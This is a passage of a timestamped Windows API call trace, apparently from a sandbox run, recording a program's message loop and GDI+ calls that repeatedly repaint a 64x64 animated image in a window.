lpString="") returned 0 [0137.936] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0137.936] CoTaskMemFree (pv=0x1e7ac120) [0137.936] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0137.936] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0137.937] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0137.937] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0137.937] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x160106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0137.937] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.937] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x160106c6) returned 0x0 [0137.937] SelectObject (hdc=0x160106c6, h=0x185000f) returned 0x1a05067e [0137.937] DeleteDC (hdc=0x160106c6) returned 1 [0137.937] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0137.937] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0137.937] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0137.937] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0137.938] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.938] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0137.938] WaitMessage () returned 1 [0138.131] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.131] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.131] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.131] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.131] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.131] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0138.131] GetCurrentThreadId () returned 0xec0 [0138.131] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0138.131] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.131] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.131] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.131] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.131] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.132] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0138.132] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0138.132] CreateCompatibleDC (hdc=0x3010b83) returned 0x17010b91 [0138.132] SelectObject (hdc=0x17010b91, h=0x1a05067e) returned 0x185000f [0138.132] GdipCreateFromHDC (hdc=0x17010b91, graphics=0x15daf0) returned 0x0 [0138.132] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0138.132] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0138.132] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0138.132] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0138.132] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0138.132] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.132] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0138.133] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.133] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.133] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0138.134] GdipCreateRegion (region=0x15dc20) returned 0x0 [0138.134] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0138.134] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0138.134] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0138.134] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.134] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.134] GetSystemMetrics (nIndex=42) returned 0 [0138.134] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.134] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.134] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.134] CoTaskMemFree (pv=0x1e7ac120) [0138.134] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0138.134] GdipCreateRegion (region=0x15d710) returned 0x0 [0138.134] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0138.135] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0138.135] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0138.135] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0138.135] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.135] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.135] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.135] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0138.135] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.136] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.136] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.136] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.136] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0138.136] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0138.136] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0138.136] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0138.137] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.137] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0138.137] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0138.137] GetCurrentObject (hdc=0x17010b91, type=0x1) returned 0x1b00017 [0138.137] GetCurrentObject (hdc=0x17010b91, type=0x2) returned 0x1900010 [0138.137] GetCurrentObject (hdc=0x17010b91, type=0x7) returned 0x1a05067e [0138.137] GetCurrentObject (hdc=0x17010b91, type=0x6) returned 0x18a002e [0138.137] SaveDC (hdc=0x17010b91) returned 1 [0138.137] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7f040b8a [0138.137] GetClipRgn (hdc=0x17010b91, hrgn=0x7f040b8a) returned 0 [0138.137] SelectClipRgn (hdc=0x17010b91, hrgn=0xffffffffaf0407c3) returned 2 [0138.138] DeleteObject (ho=0x7f040b8a) returned 1 [0138.138] DeleteObject (ho=0xffffffffaf0407c3) returned 1 [0138.138] OffsetViewportOrgEx (in: hdc=0x17010b91, x=0, y=0, lppt=0x2808938 | out: lppt=0x2808938) returned 1 [0138.138] GetNearestColor (hdc=0x17010b91, color=0xffffff) returned 0xffffff [0138.138] CreateSolidBrush (color=0xffffff) returned 0xffffffff87100190 [0138.138] FillRect (hDC=0x17010b91, lprc=0x15d7c0, hbr=0xffffffff87100190) returned 1 [0138.138] DeleteObject (ho=0xffffffff87100190) returned 1 [0138.138] RestoreDC (hdc=0x17010b91, nSavedDC=-1) returned 1 [0138.138] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.138] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x17010b91) returned 0x0 [0138.138] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcd80dbd) returned 0x0 [0138.139] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.139] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0138.139] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.139] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.139] GetSystemMetrics (nIndex=42) returned 0 [0138.139] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.139] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.139] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.139] CoTaskMemFree (pv=0x1e7ac120) [0138.139] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0138.142] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0138.142] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0138.142] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0138.142] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0138.142] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x17010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0138.142] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.142] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x17010b91) returned 0x0 [0138.142] SelectObject (hdc=0x17010b91, h=0x185000f) returned 0x1a05067e [0138.142] DeleteDC (hdc=0x17010b91) returned 1 [0138.143] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.143] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0138.143] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0138.143] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0138.143] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.143] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.143] WaitMessage () returned 1 [0138.323] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.323] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.323] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.323] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.323] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.324] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0138.324] GetCurrentThreadId () returned 0xec0 [0138.324] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0138.324] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.324] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.324] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.324] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.324] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.324] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0138.325] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0138.325] CreateCompatibleDC (hdc=0x3010b83) returned 0x18010b91 [0138.325] SelectObject (hdc=0x18010b91, h=0x1a05067e) returned 0x185000f [0138.325] GdipCreateFromHDC (hdc=0x18010b91, graphics=0x15daf0) returned 0x0 [0138.325] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0138.325] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0138.325] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0138.325] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0138.325] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0138.325] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.326] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0138.326] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.326] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.326] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0138.326] GdipCreateRegion (region=0x15dc20) returned 0x0 [0138.327] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0138.327] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0138.327] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0138.327] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.327] GetSystemMetrics (nIndex=42) returned 0 [0138.327] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.327] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.327] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.327] CoTaskMemFree (pv=0x1e7ac120) [0138.327] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0138.327] GdipCreateRegion (region=0x15d710) returned 0x0 [0138.327] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0138.328] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0138.328] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0138.328] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0138.328] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.328] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.328] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.328] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0138.329] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.329] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.329] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.329] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.329] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0138.329] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0138.329] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0138.329] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0138.329] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.330] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0138.330] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0138.330] GetCurrentObject (hdc=0x18010b91, type=0x1) returned 0x1b00017 [0138.330] GetCurrentObject (hdc=0x18010b91, type=0x2) returned 0x1900010 [0138.330] GetCurrentObject (hdc=0x18010b91, type=0x7) returned 0x1a05067e [0138.330] GetCurrentObject (hdc=0x18010b91, type=0x6) returned 0x18a002e [0138.330] SaveDC (hdc=0x18010b91) returned 1 [0138.330] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb00407c3 [0138.330] GetClipRgn (hdc=0x18010b91, hrgn=0xffffffffb00407c3) returned 0 [0138.330] SelectClipRgn (hdc=0x18010b91, hrgn=0xffffffff80040b8a) returned 2 [0138.330] DeleteObject (ho=0xffffffffb00407c3) returned 1 [0138.330] DeleteObject (ho=0xffffffff80040b8a) returned 1 [0138.330] OffsetViewportOrgEx (in: hdc=0x18010b91, x=0, y=0, lppt=0x2809c30 | out: lppt=0x2809c30) returned 1 [0138.330] GetNearestColor (hdc=0x18010b91, color=0xffffff) returned 0xffffff [0138.331] CreateSolidBrush (color=0xffffff) returned 0xffffffff88100190 [0138.331] FillRect (hDC=0x18010b91, lprc=0x15d7c0, hbr=0xffffffff88100190) returned 1 [0138.331] DeleteObject (ho=0xffffffff88100190) returned 1 [0138.331] RestoreDC (hdc=0x18010b91, nSavedDC=-1) returned 1 [0138.331] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.331] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x18010b91) returned 0x0 [0138.331] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcd60dbd) returned 0x0 [0138.331] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.331] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0138.331] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.331] GetSystemMetrics (nIndex=42) returned 0 [0138.331] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.331] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.331] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.331] CoTaskMemFree (pv=0x1e7ac120) [0138.331] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0138.332] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0138.332] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0138.332] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0138.332] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x18010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0138.332] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.332] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x18010b91) returned 0x0 [0138.332] SelectObject (hdc=0x18010b91, h=0x185000f) returned 0x1a05067e [0138.332] DeleteDC (hdc=0x18010b91) returned 1 [0138.332] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.332] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0138.332] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0138.332] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0138.332] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.333] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0138.333] WaitMessage () returned 1 [0138.488] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.488] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.488] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.488] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.488] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.488] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0138.489] GetCurrentThreadId () returned 0xec0 [0138.489] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0138.489] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0138.489] IsWindowUnicode (hWnd=0x2031e) returned 1 [0138.489] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0138.489] TranslateMessage (lpMsg=0x15e910) returned 0 [0138.489] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0138.489] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0138.489] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0138.489] CreateCompatibleDC (hdc=0x3010b83) returned 0x19010b91 [0138.489] SelectObject (hdc=0x19010b91, h=0x1a05067e) returned 0x185000f [0138.489] GdipCreateFromHDC (hdc=0x19010b91, graphics=0x15daf0) returned 0x0 [0138.490] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0138.490] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0138.490] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0138.490] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0138.490] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0138.490] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.490] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0138.491] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.491] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.491] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0138.491] GdipCreateRegion (region=0x15dc20) returned 0x0 [0138.491] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0138.491] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0138.491] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0138.491] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.491] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.492] GetSystemMetrics (nIndex=42) returned 0 [0138.492] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0138.492] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0138.492] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0138.492] CoTaskMemFree (pv=0x1e7ac120) [0138.492] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0138.492] GdipCreateRegion (region=0x15d710) returned 0x0 [0138.492] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0138.492] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0138.492] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0138.492] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0138.492] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.492] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.493] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.493] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0138.493] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0138.493] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0138.493] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0138.494] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.494] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0138.494] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0138.494] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0138.494] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0138.494] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.494] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0138.494] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0138.494] GetCurrentObject (hdc=0x19010b91, type=0x1) returned 0x1b00017 [0138.494] GetCurrentObject (hdc=0x19010b91, type=0x2) returned 0x1900010 [0138.494] GetCurrentObject (hdc=0x19010b91, type=0x7) returned 0x1a05067e [0138.494] GetCurrentObject (hdc=0x19010b91, type=0x6) returned 0x18a002e [0138.494] SaveDC (hdc=0x19010b91) returned 1 [0138.494] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff81040b8a [0138.495] GetClipRgn (hdc=0x19010b91, hrgn=0xffffffff81040b8a) returned 0 [0138.495] SelectClipRgn (hdc=0x19010b91, hrgn=0xffffffffb10407c3) returned 2 [0138.495] DeleteObject (ho=0xffffffff81040b8a) returned 1 [0138.495] DeleteObject (ho=0xffffffffb10407c3) returned 1 [0138.495] OffsetViewportOrgEx (in: hdc=0x19010b91, x=0, y=0, lppt=0x280a568 | out: lppt=0x280a568) returned 1 [0138.495] GetNearestColor (hdc=0x19010b91, color=0xffffff) returned 0xffffff [0138.495] CreateSolidBrush (color=0xffffff) returned 0xffffffff89100190 [0138.495] FillRect (hDC=0x19010b91, lprc=0x15d7c0, hbr=0xffffffff89100190) returned 1 [0138.495] DeleteObject (ho=0xffffffff89100190) returned 1 [0138.495] RestoreDC (hdc=0x19010b91, nSavedDC=-1) returned 1 [0138.495] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.495] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010b91) returned 0x0 [0138.496] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcd40dbd) returned 0x0 [0138.496] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0138.496] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0138.496] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0138.496] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0138.496] GetSystemMetrics (nIndex=42) returned 0 [0138.496] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 